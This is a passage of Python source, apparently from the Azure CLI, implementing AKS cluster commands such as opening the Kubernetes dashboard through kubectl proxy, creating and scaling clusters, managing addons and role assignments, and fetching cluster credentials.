CLIError('Could not find dashboard pod: {}'.format(err)) if dashboard_pod: # remove any "pods/" or "pod/" prefix from the name dashboard_pod = str(dashboard_pod).split('/')[-1].strip() else: raise CLIError("Couldn't find the Kubernetes dashboard pod.") # find the port try: dashboard_port = subprocess.check_output( ["kubectl", "get", "pods", "--kubeconfig", browse_path, "--namespace", "kube-system", "--selector", "k8s-app=kubernetes-dashboard", "--output", "jsonpath='{.items[0].spec.containers[0].ports[0].containerPort}'"] ) # output format: b"'{port}'" dashboard_port = int((dashboard_port.decode('utf-8').replace("'", ""))) except subprocess.CalledProcessError as err: raise CLIError('Could not find dashboard port: {}'.format(err)) # use https if dashboard container is using https if dashboard_port == 8443: protocol = 'https' else: protocol = 'http' proxy_url = 'http://{0}:{1}/'.format(listen_address, listen_port) dashboardURL = '{0}/api/v1/namespaces/kube-system/services/{1}:kubernetes-dashboard:/proxy/'.format(proxy_url, protocol) # launch kubectl port-forward locally to access the remote dashboard if in_cloud_console(): # TODO: better error handling here. response = requests.post('http://localhost:8888/openport/{0}'.format(listen_port)) result = json.loads(response.text) dashboardURL = '{0}api/v1/namespaces/kube-system/services/{1}:kubernetes-dashboard:/proxy/'.format( result['url'], protocol) term_id = os.environ.get('ACC_TERM_ID') if term_id: response = requests.post('http://localhost:8888/openLink/{0}'.format(term_id), json={"url": dashboardURL}) logger.warning('To view the console, please open %s in a new tab', dashboardURL) else: logger.warning('Proxy running on %s', proxy_url) logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async(dashboardURL) try: try: subprocess.check_output(["kubectl", "--kubeconfig", browse_path, "proxy", "--address", listen_address, "--port", listen_port], stderr=subprocess.STDOUT) except subprocess.CalledProcessError as err: if err.output.find(b'unknown flag: --address'): if listen_address != '127.0.0.1': logger.warning('"--address" is only supported in kubectl v1.13 and later.') logger.warning('The "--listen-address" argument will be ignored.') subprocess.call(["kubectl", "--kubeconfig", browse_path, "proxy", "--port", listen_port]) except KeyboardInterrupt: # Let command processing finish gracefully after the user presses [Ctrl+C] pass finally: if in_cloud_console(): requests.post('http://localhost:8888/closeport/8001') def _trim_nodepoolname(nodepool_name): if not nodepool_name: return "nodepool1" return nodepool_name[:12] def _validate_ssh_key(no_ssh_key, ssh_key_value): if not no_ssh_key: try: if not ssh_key_value or not is_valid_ssh_rsa_public_key(ssh_key_value): raise ValueError() except (TypeError, ValueError): shortened_key = truncate_text(ssh_key_value) raise CLIError('Provided ssh key ({}) is invalid or non-existent'.format(shortened_key)) def _add_monitoring_role_assignment(result, cluster_resource_id, cmd): service_principal_msi_id = None # Check if service principal exists, if it does, assign permissions to service principal # Else, provide permissions to MSI if ( hasattr(result, 'service_principal_profile') and hasattr(result.service_principal_profile, 'client_id') and result.service_principal_profile.client_id.lower() != 'msi' ): logger.info('valid service principal exists, using it') service_principal_msi_id = result.service_principal_profile.client_id is_service_principal = True elif ( (hasattr(result, 'addon_profiles')) and (CONST_MONITORING_ADDON_NAME in result.addon_profiles) and (hasattr(result.addon_profiles[CONST_MONITORING_ADDON_NAME], 'identity')) and (hasattr(result.addon_profiles[CONST_MONITORING_ADDON_NAME].identity, 'object_id')) ): logger.info('omsagent MSI exists, using it') service_principal_msi_id = result.addon_profiles[CONST_MONITORING_ADDON_NAME].identity.object_id is_service_principal = False if service_principal_msi_id is not None: if not _add_role_assignment(cmd.cli_ctx, 'Monitoring Metrics Publisher', service_principal_msi_id, is_service_principal, scope=cluster_resource_id): logger.warning('Could not create a role assignment for Monitoring addon. ' 'Are you an Owner on this subscription?') else: logger.warning('Could not find service principal or user assigned MSI for role' 'assignment') def _add_ingress_appgw_addon_role_assignment(result, cmd): service_principal_msi_id = None # Check if service principal exists, if it does, assign permissions to service principal # Else, provide permissions to MSI if ( hasattr(result, 'service_principal_profile') and hasattr(result.service_principal_profile, 'client_id') and result.service_principal_profile.client_id != 'msi' ): service_principal_msi_id = result.service_principal_profile.client_id is_service_principal = True elif ( (hasattr(result, 'addon_profiles')) and (CONST_INGRESS_APPGW_ADDON_NAME in result.addon_profiles) and (hasattr(result.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME], 'identity')) and (hasattr(result.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].identity, 'object_id')) ): service_principal_msi_id = result.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].identity.object_id is_service_principal = False if service_principal_msi_id is not None: config = result.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].config from msrestazure.tools import parse_resource_id, resource_id if CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID in config: appgw_id = config[CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID] parsed_appgw_id = parse_resource_id(appgw_id) appgw_group_id = resource_id(subscription=parsed_appgw_id["subscription"], resource_group=parsed_appgw_id["resource_group"]) if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_msi_id, is_service_principal, scope=appgw_group_id): logger.warning('Could not create a role assignment for application gateway: %s ' 'specified in %s addon. ' 'Are you an Owner on this subscription?', appgw_id, CONST_INGRESS_APPGW_ADDON_NAME) if CONST_INGRESS_APPGW_SUBNET_ID in config: subnet_id = config[CONST_INGRESS_APPGW_SUBNET_ID] if not _add_role_assignment(cmd.cli_ctx, 'Network Contributor', service_principal_msi_id, is_service_principal, scope=subnet_id): logger.warning('Could not create a role assignment for subnet: %s ' 'specified in %s addon. ' 'Are you an Owner on this subscription?', subnet_id, CONST_INGRESS_APPGW_ADDON_NAME) if CONST_INGRESS_APPGW_SUBNET_CIDR in config: if result.agent_pool_profiles[0].vnet_subnet_id is not None: parsed_subnet_vnet_id = parse_resource_id(result.agent_pool_profiles[0].vnet_subnet_id) vnet_id = resource_id(subscription=parsed_subnet_vnet_id["subscription"], resource_group=parsed_subnet_vnet_id["resource_group"], namespace="Microsoft.Network", type="virtualNetworks", name=parsed_subnet_vnet_id["name"]) if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_msi_id, is_service_principal, scope=vnet_id): logger.warning('Could not create a role assignment for virtual network: %s ' 'specified in %s addon. ' 'Are you an Owner on this subscription?', vnet_id, CONST_INGRESS_APPGW_ADDON_NAME) def _add_virtual_node_role_assignment(cmd, result, vnet_subnet_id): # Remove trailing "/subnets/<SUBNET_NAME>" to get the vnet id vnet_id = vnet_subnet_id.rpartition('/')[0] vnet_id = vnet_id.rpartition('/')[0] service_principal_msi_id = None is_service_principal = False os_type = 'Linux' addon_name = CONST_VIRTUAL_NODE_ADDON_NAME + os_type # Check if service principal exists, if it does, assign permissions to service principal # Else, provide permissions to MSI if ( hasattr(result, 'service_principal_profile') and hasattr(result.service_principal_profile, 'client_id') and result.service_principal_profile.client_id.lower() != 'msi' ): logger.info('valid service principal exists, using it') service_principal_msi_id = result.service_principal_profile.client_id is_service_principal = True elif ( (hasattr(result, 'addon_profiles')) and (addon_name in result.addon_profiles) and (hasattr(result.addon_profiles[addon_name], 'identity')) and (hasattr(result.addon_profiles[addon_name].identity, 'object_id')) ): logger.info('virtual node MSI exists, using it') service_principal_msi_id = result.addon_profiles[addon_name].identity.object_id is_service_principal = False if service_principal_msi_id is not None: if not _add_role_assignment(cmd.cli_ctx, 'Contributor', service_principal_msi_id, is_service_principal, scope=vnet_id): logger.warning('Could not create a role assignment for virtual node addon. ' 'Are you an Owner on this subscription?') else: logger.warning('Could not find service principal or user assigned MSI for role' 'assignment') # pylint: disable=too-many-statements,too-many-branches def aks_create(cmd, client, resource_group_name, name, ssh_key_value, # pylint: disable=too-many-locals dns_name_prefix=None, location=None, admin_username="azureuser", windows_admin_username=None, windows_admin_password=None, enable_ahub=False, kubernetes_version='', node_vm_size="Standard_DS2_v2", node_osdisk_type=None, node_osdisk_size=0, node_osdisk_diskencryptionset_id=None, node_count=3, nodepool_name="nodepool1", nodepool_tags=None, nodepool_labels=None, service_principal=None, client_secret=None, no_ssh_key=False, disable_rbac=None, enable_rbac=None, vm_set_type=None, skip_subnet_role_assignment=False, enable_cluster_autoscaler=False, cluster_autoscaler_profile=None, network_plugin=None, network_policy=None, uptime_sla=False, pod_cidr=None, service_cidr=None, dns_service_ip=None, docker_bridge_address=None, load_balancer_sku=None, load_balancer_managed_outbound_ip_count=None, load_balancer_outbound_ips=None, load_balancer_outbound_ip_prefixes=None, load_balancer_outbound_ports=None, load_balancer_idle_timeout=None, outbound_type=None, enable_addons=None, workspace_resource_id=None, vnet_subnet_id=None, ppg=None, max_pods=0, min_count=None, max_count=None, aad_client_app_id=None, aad_server_app_id=None, aad_server_app_secret=None, aad_tenant_id=None, tags=None, zones=None, enable_node_public_ip=False, generate_ssh_keys=False, # pylint: disable=unused-argument api_server_authorized_ip_ranges=None, enable_private_cluster=False, enable_managed_identity=True, assign_identity=None, attach_acr=None, enable_aad=False, aad_admin_group_object_ids=None, aci_subnet_name=None, appgw_name=None, appgw_subnet_cidr=None, appgw_id=None, appgw_subnet_id=None, appgw_watch_namespace=None, no_wait=False, yes=False): _validate_ssh_key(no_ssh_key, ssh_key_value) subscription_id = get_subscription_id(cmd.cli_ctx) if not dns_name_prefix: dns_name_prefix = _get_default_dns_prefix(name, resource_group_name, subscription_id) rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) if location is None: location = rg_location vm_set_type = _set_vm_set_type(vm_set_type, kubernetes_version) load_balancer_sku = set_load_balancer_sku(load_balancer_sku, kubernetes_version) if api_server_authorized_ip_ranges and load_balancer_sku == "basic": raise CLIError('--api-server-authorized-ip-ranges can only be used with standard load balancer') agent_pool_profile = ManagedClusterAgentPoolProfile( name=_trim_nodepoolname(nodepool_name), # Must be 12 chars or less before ACS RP adds to it tags=nodepool_tags, node_labels=nodepool_labels, count=int(node_count), vm_size=node_vm_size, os_type="Linux", vnet_subnet_id=vnet_subnet_id, proximity_placement_group_id=ppg, availability_zones=zones, enable_node_public_ip=enable_node_public_ip, max_pods=int(max_pods) if max_pods else None, type=vm_set_type, mode="System" ) if node_osdisk_size: agent_pool_profile.os_disk_size_gb = int(node_osdisk_size) if node_osdisk_type: agent_pool_profile.os_disk_type = node_osdisk_type _check_cluster_autoscaler_flag(enable_cluster_autoscaler, min_count, max_count, node_count, agent_pool_profile) linux_profile = None # LinuxProfile is just used for SSH access to VMs, so omit it if --no-ssh-key was specified. if not no_ssh_key: ssh_config = ContainerServiceSshConfiguration( public_keys=[ContainerServiceSshPublicKey(key_data=ssh_key_value)]) linux_profile = ContainerServiceLinuxProfile(admin_username=admin_username, ssh=ssh_config) windows_profile = None if windows_admin_username or windows_admin_password: # To avoid that windows_admin_password is set but windows_admin_username is not if windows_admin_username is None: try: from knack.prompting import prompt windows_admin_username = prompt('windows_admin_username: ') # The validation for admin_username in ManagedClusterWindowsProfile will fail even if # users still set windows_admin_username to empty here except NoTTYException: raise CLIError('Please specify username for Windows in non-interactive mode.') if windows_admin_password is None: try: windows_admin_password = prompt_pass( msg='windows-admin-password: ', confirm=True) except NoTTYException: raise CLIError( 'Please specify both username and password in non-interactive mode.') windows_license_type = None if enable_ahub: windows_license_type = 'Windows_Server' windows_profile = ManagedClusterWindowsProfile( admin_username=windows_admin_username, admin_password=windows_admin_password, license_type=windows_license_type) # If customer explicitly provide a service principal, disable managed identity. if service_principal and client_secret: enable_managed_identity = False # Skip create service principal profile for the cluster if the cluster # enables managed identity and customer doesn't explicitly provide a service principal. service_principal_profile = None principal_obj = None if not(enable_managed_identity and not service_principal and not client_secret): principal_obj = _ensure_aks_service_principal(cmd.cli_ctx, service_principal=service_principal, client_secret=client_secret, subscription_id=subscription_id, dns_name_prefix=dns_name_prefix, location=location, name=name) service_principal_profile = ManagedClusterServicePrincipalProfile( client_id=principal_obj.get("service_principal"), secret=principal_obj.get("client_secret"), key_vault_secret_ref=None) need_post_creation_vnet_permission_granting = False if (vnet_subnet_id and not skip_subnet_role_assignment and not subnet_role_assignment_exists(cmd.cli_ctx, vnet_subnet_id)): # if service_principal_profile is None, then this cluster is an MSI cluster, # and the service principal does not exist. Two cases: # 1. For system assigned identity, we just tell user to grant the # permission after the cluster is created to keep consistent with portal experience. # 2. For user assigned identity, we can grant needed permission to # user provided user assigned identity before creating managed cluster. if service_principal_profile is None and not assign_identity: msg = ('It is highly recommended to use USER assigned identity ' '(option --assign-identity) when you want to bring your own' 'subnet, which will have no latency for the role assignment to ' 'take effect. When using SYSTEM assigned identity, ' 'azure-cli will grant Network Contributor role to the ' 'system assigned identity after the cluster is created, and ' 'the role assignment will take some time to take effect, see ' 'https://docs.microsoft.com/en-us/azure/aks/use-managed-identity, ' 'proceed to create cluster with system assigned identity?') if not yes and not prompt_y_n(msg, default="n"): return None need_post_creation_vnet_permission_granting = True else: scope = vnet_subnet_id identity_client_id = "" if assign_identity: identity_client_id = _get_user_assigned_identity_client_id(cmd.cli_ctx, assign_identity) else: identity_client_id = service_principal_profile.client_id if not _add_role_assignment(cmd.cli_ctx, 'Network Contributor', identity_client_id, scope=scope): logger.warning('Could not create a role assignment for subnet. ' 'Are you an Owner on this subscription?') load_balancer_profile = create_load_balancer_profile( load_balancer_managed_outbound_ip_count, load_balancer_outbound_ips, load_balancer_outbound_ip_prefixes, load_balancer_outbound_ports, load_balancer_idle_timeout) if attach_acr: if enable_managed_identity: if no_wait: raise CLIError('When --attach-acr and --enable-managed-identity are both specified, ' '--no-wait is not allowed, please wait until the whole operation succeeds.') # Attach acr operation will be handled after the cluster is created else: _ensure_aks_acr(cmd.cli_ctx, client_id=service_principal_profile.client_id, acr_name_or_id=attach_acr, subscription_id=subscription_id) outbound_type = _set_outbound_type(outbound_type, vnet_subnet_id, load_balancer_sku, load_balancer_profile) network_profile = None if any([network_plugin, pod_cidr, service_cidr, dns_service_ip, docker_bridge_address, network_policy]): if not network_plugin: raise CLIError('Please explicitly specify the network plugin type') if pod_cidr and network_plugin == "azure": raise CLIError('Please use kubenet as the network plugin type when pod_cidr is specified') network_profile = ContainerServiceNetworkProfile( network_plugin=network_plugin, pod_cidr=pod_cidr, service_cidr=service_cidr, dns_service_ip=dns_service_ip, docker_bridge_cidr=docker_bridge_address, network_policy=network_policy, load_balancer_sku=load_balancer_sku.lower(), load_balancer_profile=load_balancer_profile, outbound_type=outbound_type ) else: if load_balancer_sku.lower() == "standard" or load_balancer_profile: network_profile = ContainerServiceNetworkProfile( network_plugin="kubenet", load_balancer_sku=load_balancer_sku.lower(), load_balancer_profile=load_balancer_profile, outbound_type=outbound_type, ) if load_balancer_sku.lower() == "basic": network_profile = ContainerServiceNetworkProfile( load_balancer_sku=load_balancer_sku.lower(), ) addon_profiles = _handle_addons_args( cmd, enable_addons, subscription_id, resource_group_name, {}, workspace_resource_id, aci_subnet_name, vnet_subnet_id, appgw_name, appgw_subnet_cidr, appgw_id, appgw_subnet_id, appgw_watch_namespace, ) monitoring = False if CONST_MONITORING_ADDON_NAME in addon_profiles: monitoring = True _ensure_container_insights_for_monitoring(cmd, addon_profiles[CONST_MONITORING_ADDON_NAME]) # addon is in the list and is enabled ingress_appgw_addon_enabled = CONST_INGRESS_APPGW_ADDON_NAME in addon_profiles and \ addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].enabled os_type = 'Linux' enable_virtual_node = False if CONST_VIRTUAL_NODE_ADDON_NAME + os_type in addon_profiles: enable_virtual_node = True aad_profile = None if enable_aad: if any([aad_client_app_id, aad_server_app_id, aad_server_app_secret]): raise CLIError('"--enable-aad" cannot be used together with ' '"--aad-client-app-id/--aad-server-app-id/--aad-server-app-secret"') aad_profile = ManagedClusterAADProfile( managed=True, admin_group_object_ids=_parse_comma_separated_list(aad_admin_group_object_ids), tenant_id=aad_tenant_id ) else: if any([aad_client_app_id, aad_server_app_id, aad_server_app_secret, aad_tenant_id]): if aad_tenant_id is None: profile = Profile(cli_ctx=cmd.cli_ctx) _, _, aad_tenant_id = profile.get_login_credentials() aad_profile = ManagedClusterAADProfile( client_app_id=aad_client_app_id, server_app_id=aad_server_app_id, server_app_secret=aad_server_app_secret, tenant_id=aad_tenant_id ) api_server_access_profile = None if enable_private_cluster and load_balancer_sku.lower() != "standard": raise CLIError("Please use standard load balancer for private cluster") if api_server_authorized_ip_ranges or enable_private_cluster: api_server_access_profile = _populate_api_server_access_profile( api_server_authorized_ip_ranges, enable_private_cluster=enable_private_cluster ) # Check that both --disable-rbac and --enable-rbac weren't provided if all([disable_rbac, enable_rbac]): raise CLIError('specify either "--disable-rbac" or "--enable-rbac", not both.') identity = None if not enable_managed_identity and assign_identity: raise ArgumentUsageError('--assign-identity can only be specified when --enable-managed-identity is specified') if enable_managed_identity and not assign_identity: identity = ManagedClusterIdentity( type="SystemAssigned" ) elif enable_managed_identity and assign_identity: user_assigned_identity = { assign_identity: ManagedClusterIdentityUserAssignedIdentitiesValue() } identity = ManagedClusterIdentity( type="UserAssigned", user_assigned_identities=user_assigned_identity ) mc = ManagedCluster( location=location, tags=tags, dns_prefix=dns_name_prefix, kubernetes_version=kubernetes_version, enable_rbac=not disable_rbac, agent_pool_profiles=[agent_pool_profile], linux_profile=linux_profile, windows_profile=windows_profile, service_principal_profile=service_principal_profile, network_profile=network_profile, addon_profiles=addon_profiles, aad_profile=aad_profile, auto_scaler_profile=cluster_autoscaler_profile, api_server_access_profile=api_server_access_profile, identity=identity, disk_encryption_set_id=node_osdisk_diskencryptionset_id ) if uptime_sla: mc.sku = ManagedClusterSKU( name="Basic", tier="Paid" ) # Add AAD session key to header. # If principal_obj is None, we will not add this header, this can happen # when the cluster enables managed identity. In this case, the header is useless # and that's OK to not add this header custom_headers = None if principal_obj: custom_headers = {'Ocp-Aad-Session-Key': principal_obj.get("aad_session_key")} # Due to SPN replication latency, we do a few retries here max_retry = 30 retry_exception = Exception(None) for _ in range(0, max_retry): try: need_pull_for_result = (monitoring or (enable_managed_identity and attach_acr) or ingress_appgw_addon_enabled or enable_virtual_node or need_post_creation_vnet_permission_granting) if need_pull_for_result: # adding a wait here since we rely on the result for role assignment result = LongRunningOperation(cmd.cli_ctx)(client.create_or_update( resource_group_name=resource_group_name, resource_name=name, parameters=mc)) else: result = sdk_no_wait(no_wait, client.create_or_update, resource_group_name=resource_group_name, resource_name=name, parameters=mc, custom_headers=custom_headers) if monitoring: cloud_name = cmd.cli_ctx.cloud.name # add cluster spn/msi Monitoring Metrics Publisher role assignment to publish metrics to MDM # mdm metrics is supported only in azure public cloud, so add the role assignment only in this cloud if cloud_name.lower() == 'azurecloud': from msrestazure.tools import resource_id cluster_resource_id = resource_id( subscription=subscription_id, resource_group=resource_group_name, namespace='Microsoft.ContainerService', type='managedClusters', name=name ) _add_monitoring_role_assignment(result, cluster_resource_id, cmd) if enable_managed_identity and attach_acr: if result.identity_profile is None or result.identity_profile["kubeletidentity"] is None: logger.warning('Your cluster is successfully created, but we failed to attach acr to it, ' 'you can manually grant permission to the identity named <ClUSTER_NAME>-agentpool ' 'in MC_ resource group to give it permission to pull from ACR.') else: kubelet_identity_client_id = result.identity_profile["kubeletidentity"].client_id _ensure_aks_acr(cmd.cli_ctx, client_id=kubelet_identity_client_id, acr_name_or_id=attach_acr, subscription_id=subscription_id) if ingress_appgw_addon_enabled: _add_ingress_appgw_addon_role_assignment(result, cmd) if enable_virtual_node: _add_virtual_node_role_assignment(cmd, result, vnet_subnet_id) if need_post_creation_vnet_permission_granting: if not _create_role_assignment(cmd.cli_ctx, 'Network Contributor', result.identity.principal_id, scope=vnet_subnet_id, resolve_assignee=False): logger.warning('Could not create a role assignment for subnet. ' 'Are you an Owner on this subscription?') return result except CloudError as ex: retry_exception = ex if 'not found in Active Directory tenant' in ex.message: time.sleep(3) else: raise ex raise retry_exception def aks_disable_addons(cmd, client, resource_group_name, name, addons, no_wait=False): instance = client.get(resource_group_name, name) subscription_id = get_subscription_id(cmd.cli_ctx) instance = _update_addons( cmd, instance, subscription_id, resource_group_name, name, addons, enable=False, no_wait=no_wait ) # send the managed cluster representation to update the addon profiles return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) def aks_enable_addons(cmd, client, resource_group_name, name, addons, workspace_resource_id=None, subnet_name=None, appgw_name=None, appgw_subnet_cidr=None, appgw_id=None, appgw_subnet_id=None, appgw_watch_namespace=None, no_wait=False): instance = client.get(resource_group_name, name) subscription_id = get_subscription_id(cmd.cli_ctx) instance = _update_addons(cmd, instance, subscription_id, resource_group_name, name, addons, enable=True, workspace_resource_id=workspace_resource_id, subnet_name=subnet_name, appgw_name=appgw_name, appgw_subnet_cidr=appgw_subnet_cidr, appgw_id=appgw_id, appgw_subnet_id=appgw_subnet_id, appgw_watch_namespace=appgw_watch_namespace, no_wait=no_wait) enable_monitoring = CONST_MONITORING_ADDON_NAME in instance.addon_profiles \ and instance.addon_profiles[CONST_MONITORING_ADDON_NAME].enabled ingress_appgw_addon_enabled = CONST_INGRESS_APPGW_ADDON_NAME in instance.addon_profiles \ and instance.addon_profiles[CONST_INGRESS_APPGW_ADDON_NAME].enabled os_type = 'Linux' virtual_node_addon_name = CONST_VIRTUAL_NODE_ADDON_NAME + os_type enable_virtual_node = (virtual_node_addon_name in instance.addon_profiles and instance.addon_profiles[virtual_node_addon_name].enabled) need_pull_for_result = enable_monitoring or ingress_appgw_addon_enabled or enable_virtual_node if need_pull_for_result: if enable_monitoring: _ensure_container_insights_for_monitoring(cmd, instance.addon_profiles[CONST_MONITORING_ADDON_NAME]) # adding a wait here since we rely on the result for role assignment result = LongRunningOperation(cmd.cli_ctx)(client.create_or_update(resource_group_name, name, instance)) if enable_monitoring: cloud_name = cmd.cli_ctx.cloud.name # mdm metrics supported only in Azure Public cloud so add the role assignment only in this cloud if cloud_name.lower() == 'azurecloud': from msrestazure.tools import resource_id cluster_resource_id = resource_id( subscription=subscription_id, resource_group=resource_group_name, namespace='Microsoft.ContainerService', type='managedClusters', name=name ) _add_monitoring_role_assignment(result, cluster_resource_id, cmd) if ingress_appgw_addon_enabled: _add_ingress_appgw_addon_role_assignment(result, cmd) if enable_virtual_node: # All agent pool will reside in the same vnet, we will grant vnet level Contributor role # in later function, so using a random agent pool here is OK random_agent_pool = result.agent_pool_profiles[0] if random_agent_pool.vnet_subnet_id != "": _add_virtual_node_role_assignment(cmd, result, random_agent_pool.vnet_subnet_id) # Else, the cluster is not using custom VNet, the permission is already granted in AKS RP, # we don't need to handle it in client side in this case. else: result = sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) return result def aks_get_versions(cmd, client, location): return client.list_orchestrators(location, resource_type='managedClusters') def aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=os.path.join(os.path.expanduser('~'), '.kube', 'config'), overwrite_existing=False, context_name=None): credentialResults = None if admin: credentialResults = client.list_cluster_admin_credentials(resource_group_name, name) else: credentialResults = client.list_cluster_user_credentials(resource_group_name, name) if not credentialResults: raise CLIError("No Kubernetes credentials found.") try: kubeconfig = credentialResults.kubeconfigs[0].value.decode(encoding='UTF-8') _print_or_merge_credentials(path, kubeconfig, overwrite_existing, context_name) except (IndexError, ValueError): raise CLIError("Fail to find kubeconfig file.") def aks_list(cmd, client, resource_group_name=None): if resource_group_name: managed_clusters = client.list_by_resource_group(resource_group_name) else: managed_clusters = client.list() return _remove_nulls(list(managed_clusters)) def aks_show(cmd, client, resource_group_name, name): mc = client.get(resource_group_name, name) return _remove_nulls([mc])[0] def aks_update_credentials(cmd, client, resource_group_name, name, reset_service_principal=False, reset_aad=False, service_principal=None, client_secret=None, aad_server_app_id=None, aad_server_app_secret=None, aad_client_app_id=None, aad_tenant_id=None, no_wait=False): if bool(reset_service_principal) == bool(reset_aad): raise CLIError('usage error: --reset-service-principal | --reset-aad-profile') if reset_service_principal: if service_principal is None or client_secret is None: raise CLIError('usage error: --reset-service-principal --service-principal ID --client-secret SECRET') return sdk_no_wait(no_wait, client.reset_service_principal_profile, resource_group_name, name, service_principal, client_secret) if not all([aad_client_app_id, aad_server_app_id, aad_server_app_secret]): raise CLIError('usage error: --reset-aad --aad-client-app-id ID --aad-server-app-id ID ' '--aad-server-app-secret SECRET [--aad-tenant-id ID]') parameters = { 'clientAppID': aad_client_app_id, 'serverAppID': aad_server_app_id, 'serverAppSecret': aad_server_app_secret, 'tenantID': aad_tenant_id } return sdk_no_wait(no_wait, client.reset_aad_profile, resource_group_name, name, parameters) def aks_scale(cmd, client, resource_group_name, name, node_count, nodepool_name="", no_wait=False): instance = client.get(resource_group_name, name) if len(instance.agent_pool_profiles) > 1 and nodepool_name == "": raise CLIError('There are more than one node pool in the cluster. ' 'Please specify nodepool name or use az aks nodepool command to scale node pool') for agent_profile in instance.agent_pool_profiles: if agent_profile.name == nodepool_name or (nodepool_name == "" and len(instance.agent_pool_profiles) == 1): if agent_profile.enable_auto_scaling: raise CLIError("Cannot scale cluster autoscaler enabled node pool.") agent_profile.count = int(node_count) # pylint: disable=no-member # null out the SP and AAD profile because otherwise validation complains instance.service_principal_profile = None instance.aad_profile = None return sdk_no_wait(no_wait, client.create_or_update, resource_group_name, name, instance) raise CLIError('The nodepool "{}" was not found.'.format(nodepool_name)) # pylint: disable=inconsistent-return-statements def aks_update(cmd, client, resource_group_name, name, enable_cluster_autoscaler=False, disable_cluster_autoscaler=False, update_cluster_autoscaler=False, cluster_autoscaler_profile=None, min_count=None, max_count=None, uptime_sla=False, load_balancer_managed_outbound_ip_count=None, load_balancer_outbound_ips=None, load_balancer_outbound_ip_prefixes=None, load_balancer_outbound_ports=None, load_balancer_idle_timeout=None, attach_acr=None, detach_acr=None, api_server_authorized_ip_ranges=None, enable_aad=False, aad_tenant_id=None, aad_admin_group_object_ids=None, enable_ahub=False, disable_ahub=False, no_wait=False): update_autoscaler = enable_cluster_autoscaler + disable_cluster_autoscaler + update_cluster_autoscaler update_lb_profile = is_load_balancer_profile_provided(load_balancer_managed_outbound_ip_count, load_balancer_outbound_ips, load_balancer_outbound_ip_prefixes, load_balancer_outbound_ports, load_balancer_idle_timeout) update_aad_profile = not (aad_tenant_id is None and aad_admin_group_object_ids is None) # pylint: disable=too-many-boolean-expressions if (update_autoscaler != 1 and cluster_autoscaler_profile is None and not update_lb_profile and not attach_acr and not detach_acr and not uptime_sla and api_server_authorized_ip_ranges is None and not enable_aad and not update_aad_profile and not enable_ahub and not disable_ahub): raise CLIError('Please specify one or more of "--enable-cluster-autoscaler" or ' '"--disable-cluster-autoscaler" or ' '"--update-cluster-autoscaler" or ' '"--cluster-autoscaler-profile" or ' '"--load-balancer-managed-outbound-ip-count" or' '"--load-balancer-outbound-ips" or ' '"--load-balancer-outbound-ip-prefixes" or' '"--load-balancer-outbound-ports" or' '"--load-balancer-idle-timeout" or' '"--attach-acr" or "--detach-acr" or' '"--uptime-sla" or' '"--api-server-authorized-ip-ranges" or ' '"--enable-aad" or ' '"--aad-tenant-id" or ' '"--aad-admin-group-object-ids" or ' '"--enable-ahub" or ' '"--disable-ahub"') instance = client.get(resource_group_name, name) # For multi-agent pool, use the az aks nodepool command if update_autoscaler > 0 and len(instance.agent_pool_profiles) > 1: raise CLIError('There are more than one node pool in the cluster. Please use "az aks nodepool" command ' 'to update per node pool auto scaler settings') _validate_autoscaler_update_counts(min_count, max_count, enable_cluster_autoscaler or update_cluster_autoscaler) if enable_cluster_autoscaler: if instance.agent_pool_profiles[0].enable_auto_scaling: logger.warning('Cluster autoscaler is already enabled for this node pool.\n' 'Please run "az aks --update-cluster-autoscaler" ' 'if you want to update min-count or max-count.') return None instance.agent_pool_profiles[0].min_count = int(min_count) instance.agent_pool_profiles[0].max_count = int(max_count) instance.agent_pool_profiles[0].enable_auto_scaling = True if update_cluster_autoscaler: if not instance.agent_pool_profiles[0].enable_auto_scaling: raise CLIError('Cluster autoscaler is not enabled for this node pool.\n' 'Run "az aks nodepool update --enable-cluster-autoscaler" ' 'to enable cluster with min-count and max-count.') instance.agent_pool_profiles[0].min_count = int(min_count) instance.agent_pool_profiles[0].max_count = int(max_count) if disable_cluster_autoscaler: if not instance.agent_pool_profiles[0].enable_auto_scaling: logger.warning('Cluster autoscaler is already disabled for this node pool.') return None instance.agent_pool_profiles[0].enable_auto_scaling = False instance.agent_pool_profiles[0].min_count = None instance.agent_pool_profiles[0].max_count = None # if intention is to clear autoscaler profile if cluster_autoscaler_profile == {}: instance.auto_scaler_profile = {} # else profile is provided, update instance profile if it exists elif cluster_autoscaler_profile: instance.auto_scaler_profile = _update_dict(instance.auto_scaler_profile.__dict__, dict((key.replace("-", "_"), value) for (key, value) in cluster_autoscaler_profile.items())) \ if instance.auto_scaler_profile else cluster_autoscaler_profile subscription_id = get_subscription_id(cmd.cli_ctx) client_id = "" if instance.identity is not None and instance.identity.type == "SystemAssigned": if instance.identity_profile is None or instance.identity_profile["kubeletidentity"] is None: raise CLIError('Unexpected error getting kubelet\'s identity for the cluster. ' 'Please do not set --attach-acr or --detach-acr. ' 'You can manually grant or revoke permission to the identity named ' '<ClUSTER_NAME>-agentpool in MC_ resource group to access ACR.') client_id = instance.identity_profile["kubeletidentity"].client_id else: client_id = instance.service_principal_profile.client_id if not client_id: raise CLIError('Cannot get the AKS cluster\'s service principal.') if attach_acr: _ensure_aks_acr(cmd.cli_ctx, client_id=client_id, acr_name_or_id=attach_acr, subscription_id=subscription_id) if detach_acr: _ensure_aks_acr(cmd.cli_ctx, client_id=client_id, acr_name_or_id=detach_acr, subscription_id=subscription_id, detach=True) if uptime_sla: instance.sku = ManagedClusterSKU( name="Basic", tier="Paid" ) if update_lb_profile: instance.network_profile.load_balancer_profile = update_load_balancer_profile( load_balancer_managed_outbound_ip_count, load_balancer_outbound_ips, load_balancer_outbound_ip_prefixes, load_balancer_outbound_ports, load_balancer_idle_timeout, instance.network_profile.load_balancer_profile) # empty string is valid as it disables ip whitelisting if api_server_authorized_ip_ranges is not None: instance.api_server_access_profile = \ 